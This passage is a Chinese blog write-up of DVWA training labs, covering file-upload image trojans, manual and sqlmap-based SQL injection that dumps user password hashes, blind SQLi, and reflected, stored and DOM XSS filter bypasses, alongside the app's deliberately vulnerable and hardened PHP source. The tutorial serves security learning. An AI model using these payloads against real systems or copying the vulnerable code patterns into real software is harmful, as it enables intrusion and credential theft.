strtolower(string): 返回给定字符串的小写

对后缀名进行了判断

3、可通过文件包含漏洞结合使用,首先制作图片马

4、使用文件包含漏洞模块中的low关, 进行加载图片,成功解析

Impossible

if( isset( $_POST[ 'Upload' ] ) ) {  
    // 检查是否有上传表单提交  
}  
  
// 检查Anti-CSRF令牌  
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
// 此函数检查提交的CSRF令牌是否与会话中的令牌匹配,以防止跨站请求伪造  
  
// 获取上传文件的各项信息  
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];  
// 文件名  
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);  
// 文件扩展名  
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];  
// 文件大小  
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];  
// MIME类型  
$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];  
// 临时文件名  
  
// 目标路径  
$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';  
// 注意:DVWA_WEB_PAGE_TO_ROOT 是一个未在代码中定义的常量,应该是环境或配置文件中的定义  
  
// 生成目标文件名(使用md5确保唯一性)  
$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;  
  
// 临时文件的完整路径  
$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );  
$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;  
  
// 检查文件是否为图像文件  
if( ... ) {  
    // 检查文件扩展名、大小、MIME类型,并使用getimagesize验证图像文件  
}  
  
// 根据文件类型重新编码图像以剥离元数据  
if( $uploaded_type == 'image/jpeg' ) {  
    $img = imagecreatefromjpeg( $uploaded_tmp );  
    imagejpeg( $img, $temp_file, 100);  
} else {  
    $img = imagecreatefrompng( $uploaded_tmp );  
    imagepng( $img, $temp_file, 9);  
}  
imagedestroy( $img );  
// 这里使用GD库重新创建图像文件,以此移除可能存在的元数据  
  
// 将文件从临时目录移动到目标目录  
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {  
    // 如果移动成功,显示成功消息和链接  
} else {  
    // 如果移动失败,显示错误消息  
}  
  
// 删除临时文件  
if( file_exists( $temp_file ) )  
    unlink( $temp_file );  
  
// 无效文件类型时的错误消息  
else {  
    echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';  
}  
  
// 生成Anti-CSRF令牌(虽然在这个代码片段中位置有些靠后,但假设它在合适的位置被调用)  
generateSessionToken();

SQL Injection

Low 


<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>
找注入点:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4"
爆库:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --dbs
爆表:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -D dvwa --tables
爆列:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -D fvwa -T users --columns
爆用户名和密码:python sqlmap.py -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -D fvwa -T users  --dump           -C"user,password" --dump 

上面的直接采用的sqlmap自动化注入

下面是手动
1、找闭合

输入1'    报错

输入1'',不报错,说明闭合是单引号

2、确定列数

输入1' order by 2#,返回正确结果

输入1' order by 3#,报错,说明只有两列

3、爆库

输入1' union select 1,database()#

得到库名dvwa

4、爆表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#     (0x64767761是dvwa的ascii码)

得到表guestbook和users,猜测用户名和密码在users中

5、爆列

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

我用navicat看了一下,dvwa的users表没有这么多列,我怀疑可能是别的数据库里面也有叫users的表,把那些表的列也打出来了。所以这边还得加个数据库名的限制

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

或者1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761#

用户名和密码的列名应该分别是user和password

6、得到数据库内容:

输入1' union select group_concat(user),group_concat(password) from users#

得到5个用户:admin,gordonb,1337,pablo,smithy

5个md5密码:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

拿到网上md5解密一下,分别是:password,abc123,charley,letmein,password

Mediu


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

和上面的一样,可以看到是POST提交,直接抓包,sqlmap用-r注入就行

High

看sql注入的盲注,

Impossible

<?php  
  
// 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证  
if( isset( $_GET[ 'Submit' ] ) ) {  
    // 检查Anti-CSRF token  
    // 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token  
    // 这样做可以防止跨站请求伪造攻击  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 从GET请求中获取'id'参数  
    $id = $_GET[ 'id' ];  
  
    // 检查是否输入了数字  
    // 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字)  
    if(is_numeric( $id )) {  
        // 使用PDO准备SQL查询语句,以预防SQL注入攻击  
        // 这里使用了参数化查询来绑定变量  
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );  
  
        // 绑定参数':id'到变量$id,并指定参数类型为整数  
        $data->bindParam( ':id', $id, PDO::PARAM_INT );  
  
        // 执行SQL查询  
        $data->execute();  
  
        // 检查查询结果中的行数  
        if( $data->rowCount() == 1 ) {  
            // 如果找到一行结果,说明用户ID存在于数据库中  
            // 反馈给用户  
            echo '<pre>User ID exists in the database.</pre>';  
        }  
        else {  
            // 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面  
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
  
            // 反馈给用户  
            echo '<pre>User ID is MISSING from the database.</pre>';  
        }  
    }  
}  
  
// 生成一个新的Anti-CSRF token并存储在会话中  
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token  
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的  
generateSessionToken();  
  
?>
  1. CSRF保护:通过检查请求中的user_token与会话中存储的session_token是否一致,来防止CSRF攻击。

  2. SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。

  3. 输入验证:通过is_numeric()函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。

SQL Injection (Blind)

Low 

<?php  
// 开始PHP代码块  
  
if( isset( $_GET[ 'Submit' ] ) ) {  
    // 检查是否存在名为'Submit'的GET请求参数,这通常意味着表单被提交了  
  
    // Get input  
    $id = $_GET[ 'id' ];  
    // 从GET请求中获取名为'id'的参数值,并将其存储在变量$id中  
  
    // Check database  
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";  
    // 构建一个SQL查询字符串,用于从'users'表中检索与给定$id相匹配的用户的'first_name'和'last_name'  
    // 注意:这里直接将$id插入到SQL查询中,存在SQL注入的风险  
  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );  
    // 使用全局变量$GLOBALS["___mysqli_ston"](一个预定义的MySQLi连接)来执行上面构建的SQL查询  
    // mysqli_query()函数返回查询结果集,如果查询失败则返回false  
    // 注意:移除了'or die'部分以抑制MySQL错误,这不是一个好的做法,因为它会隐藏问题  
  
    // Get results  
    $num = @mysqli_num_rows( $result );  
    // 使用@操作符来抑制mysqli_num_rows()函数可能产生的任何错误  
    // mysqli_num_rows()函数返回结果集中的行数  
    // 如果$result不是有效的结果集或查询失败,这个调用可能失败,但由于@操作符,错误会被抑制  
  
    if( $num > 0 ) {  
        // 如果查询结果中的行数大于0,说明找到了匹配的用户ID  
  
        // Feedback for end user  
        echo '<pre>User ID exists in the database.</pre>';  
        // 向用户显示反馈,告知他们用户ID存在于数据库中  
    }  
    else {  
        // 如果没有找到匹配的用户ID  
  
        // User wasn't found, so the page wasn't!  
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
        // 设置HTTP头部信息,告诉浏览器这是一个404 Not Found错误  
        // 这通常用于指示请求的资源(在这种情况下是用户ID)不存在  
  
        // Feedback for end user  
        echo '<pre>User ID is MISSING from the database.</pre>';  
        // 尽管已经设置了404头部,但代码仍然继续执行并显示这条消息  
        // 这通常不是最佳实践,因为一旦设置了404头部,通常应该停止向客户端发送更多内容  
    }  
  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
    // 尝试关闭MySQLi连接,并将结果存储在变量$___mysqli_res中  
    // 然后,使用三元运算符检查$___mysqli_res是否为null  
    // 但实际上,这个三元运算符的结果没有被用于任何操作,这可能是一个无用的代码行  
    // 更好的做法是简单地调用mysqli_close()并忽略其返回值  
}  
  
?>  
// 结束PHP代码块

盲注直接采用sqlmap进行自动化注入

python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs

会302,因为当我们直接访问该链接的时候,会要求我们进行登录,故需要cookie值

怎末获取呢,我们可以在xss(reflected)这里进行爆cookie

payload:<a href=javascript:alert(document.cookie)>123456</a>

python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch --dbs --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆库
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa --tables --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆表
python sqlmap.py -u"http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -batch -D dvwa -T users --dump --cookie="PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=low"//爆字段

Mediu


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

可以看到提交方式是post所以我们需要抓包进行sqlmap的注入

python sqlmap.py -r"E://1.txt" -batch --dbs//爆库
python sqlmap.py -r"E://1.txt" -batch -D dvwa --tables //爆表
python sqlmap.py -r"E://1.txt" -batch -D dvwa -T users --dump //爆字段

1.txt里的是BP抓包的内容

High

<?php  
  
// 检查是否存在名为'id'的cookie  
if( isset( $_COOKIE[ 'id' ] ) ) {  
    // 从cookie中获取'id'的值  
    $id = $_COOKIE[ 'id' ];  
  
    // 准备SQL查询语句,用于从users表中根据user_id查询first_name和last_name  
    // 注意:这里直接将$id拼接到SQL语句中,存在SQL注入的风险  
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";  
  
    // 执行SQL查询,使用全局变量$GLOBALS["___mysqli_ston"]作为数据库连接  
    // 注意:这里移除了'or die'部分来抑制错误消息,但这会使得错误更难被调试  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid );  
  
    // 检查查询结果是否有多于0行,即是否找到了对应的用户  
    // 使用'@'来抑制错误,这同样隐藏了潜在的问题  
    $num = @mysqli_num_rows( $result );  
  
    if( $num > 0 ) {  
        // 如果找到了用户,输出反馈  
        echo '<pre>User ID exists in the database.</pre>';  
    }  
    else {  
        // 如果用户不存在,可能会随机等待一段时间(2到4秒)  
        if( rand( 0, 5 ) == 3 ) {  
            sleep( rand( 2, 4 ) );  
        }  
  
        // 发送HTTP 404状态码,表示用户未找到  
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
  
        // 输出用户未找到的反馈  
        // 注意:在发送header后输出内容通常不是最佳实践,因为header应该在输出任何内容之前发送  
        echo '<pre>User ID is MISSING from the database.</pre>';  
    }  
  
    // 关闭数据库连接,使用全局变量$GLOBALS["___mysqli_ston"]  
    // 注意:这里使用了三元运算符来检查关闭操作是否成功,但结果并未被使用  
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);  
}  
  
?>

这里采用了链接,双页面,可以抓包获取cookie,也可以向Low一样在Xss管卡进行爆cookie

python sqlmap.py -u "http://dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-url="http://dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;PHPSESSID=t9rii6ha9u4q1mnkvjko1tf632; security=high" --batch -D dvwa --tables --thread 10

Impossible

<?php  
  
// 检查是否有名为'Submit'的GET请求参数,这通常用于表单提交后的验证  
if( isset( $_GET[ 'Submit' ] ) ) {  
    // 检查Anti-CSRF token  
    // 这是一个自定义函数,用于验证用户提交的表单是否包含有效的CSRF token  
    // 这样做可以防止跨站请求伪造攻击  
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );  
  
    // 从GET请求中获取'id'参数  
    $id = $_GET[ 'id' ];  
  
    // 检查是否输入了数字  
    // 这是为了确保用户输入的是有效的用户ID(假设用户ID是数字)  
    if(is_numeric( $id )) {  
        // 使用PDO准备SQL查询语句,以预防SQL注入攻击  
        // 这里使用了参数化查询来绑定变量  
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );  
  
        // 绑定参数':id'到变量$id,并指定参数类型为整数  
        $data->bindParam( ':id', $id, PDO::PARAM_INT );  
  
        // 执行SQL查询  
        $data->execute();  
  
        // 检查查询结果中的行数  
        if( $data->rowCount() == 1 ) {  
            // 如果找到一行结果,说明用户ID存在于数据库中  
            // 反馈给用户  
            echo '<pre>User ID exists in the database.</pre>';  
        }  
        else {  
            // 如果没有找到用户ID,则设置HTTP状态码为404,表示未找到页面  
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );  
  
            // 反馈给用户  
            echo '<pre>User ID is MISSING from the database.</pre>';  
        }  
    }  
}  
  
// 生成一个新的Anti-CSRF token并存储在会话中  
// 这也是一个自定义函数,用于在用户会话中创建一个唯一的token  
// 这个token会在表单提交时验证,以确保表单是由合法用户提交的  
generateSessionToken();  
  
?>
  1. CSRF保护:通过检查请求中的user_token与会话中存储的session_token是否一致,来防止CSRF攻击。

  2. SQL注入预防:使用PDO的预处理语句(prepared statement)和参数化查询来防止SQL注入攻击。

  3. 输入验证:通过is_numeric()函数检查用户输入的ID是否为数字,这是一种基本的输入验证方法。

Sqli-labs全通关教程(手工注入+工具使用sqlmap)_sqlilabs-CSDN博客

Reflected Cross Site Scripting (XSS)

Low 


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

对用户的输入没有进行任何的转义,存在XSS注入的风险非常大,直接采用script标签注入

js代码在这里执行的,不能在input标签里执行

Mediu


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {//判断name是否存在且不为空
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );//把script标签换成空

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

所以这里就不能用script标签了,可以用a,img等

High


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    //进行正则匹配
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

所以直接用a标签

payload:<a onmouseenter="alert(1)">123456</a>

Impossible


<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    //验证CSRF令牌
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    //将name进行html实体转义
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

几乎避免了某些情况下的的XSS注入

Stored Cross Site Scripting (XSS)

Low 

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );//去除字符串左右两边的空格
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );//去掉反斜杠
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

Mediu

<?php  
  
// 检查是否通过POST方法提交了名为'btnSign'的按钮  
if( isset( $_POST[ 'btnSign' ] ) ) {  
    // 获取并修剪(去除前后空白)评论内容  
    $message = trim( $_POST[ 'mtxMessage' ] );  
    // 获取并修剪(去除前后空白)姓名  
    $name    = trim( $_POST[ 'txtName' ] );  
  
    // 清理评论内容,首先去除HTML标签,然后添加斜杠来转义特殊字符(但这一步通常与下面的mysqli_real_escape_string重复)  
    $message = strip_tags( addslashes( $message ) );  
    // 如果存在全局的mysqli连接对象,则使用mysqli_real_escape_string来转义特殊字符以防止SQL注入;否则,触发错误  
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
    // 使用htmlspecialchars来将特殊HTML字符转换为HTML实体,防止XSS攻击  
    $message = htmlspecialchars( $message );  
  
    // 清理姓名输入,简单地移除'<script>'标签(这不是一个全面的清理方法)  
    $name = str_replace( '<script>', '', $name );  
    // 类似于$message的处理,但只针对$name  
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));  
  
    // 准备SQL查询语句,将清理后的数据插入到guestbook表的comment和name字段  
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";  
    // 执行SQL查询,如果失败则输出错误信息  
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );  
  
    // 注释掉的mysql_close();函数是尝试关闭MySQL连接,但这里应该使用mysqli_close()且可能不需要因为连接可能在其他地方重用  
}  
  
?>

虽然他把message进行了html实体转义,但是没有对name进行转义,所以这注入点就在name处

但是我们又发现他把name的长度好像限制了,我们可以更改长度限制摁下F12进入开发者模式

将maxlength改为100

payload:<a onmouseover="alert(1)">123456</a>

High

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

和反射型的一样都是进行了正则匹配,所以直接采用a或者img标签即可,还是像mediu一样在name注入,更改maxlength的长度

Impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

name和message 都进行了HTML实体的转义,避免了大部分情况下的xss

DOM Based Cross Site Scripting (XSS)

Low 

发现每次选择变化URL都会变化,所以直接在构造payload

payload :http://dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>

Mediu

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {//如果存在<script就跳转到english页面
        header ("location: ?default=English");//页面重定向
        exit;
    }
}

?>

尝试<a οnmοuseοver="alert(1)">xss</a> 发现不行

发现在select标签里,果断闭合select标签

payload:default=</scelect><a onmouseover="alert(1)">xss</a>

High


<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

发现只能是那4个中的其中一个了,所以我们直接进行注释掉我们注释的代码

payload:default=English#<script>alert(1)</script>

原理:#在php代码里把后面注释掉了,所以就过了他的判断,但是在HTML中又被执行了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Smile灬凉城666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值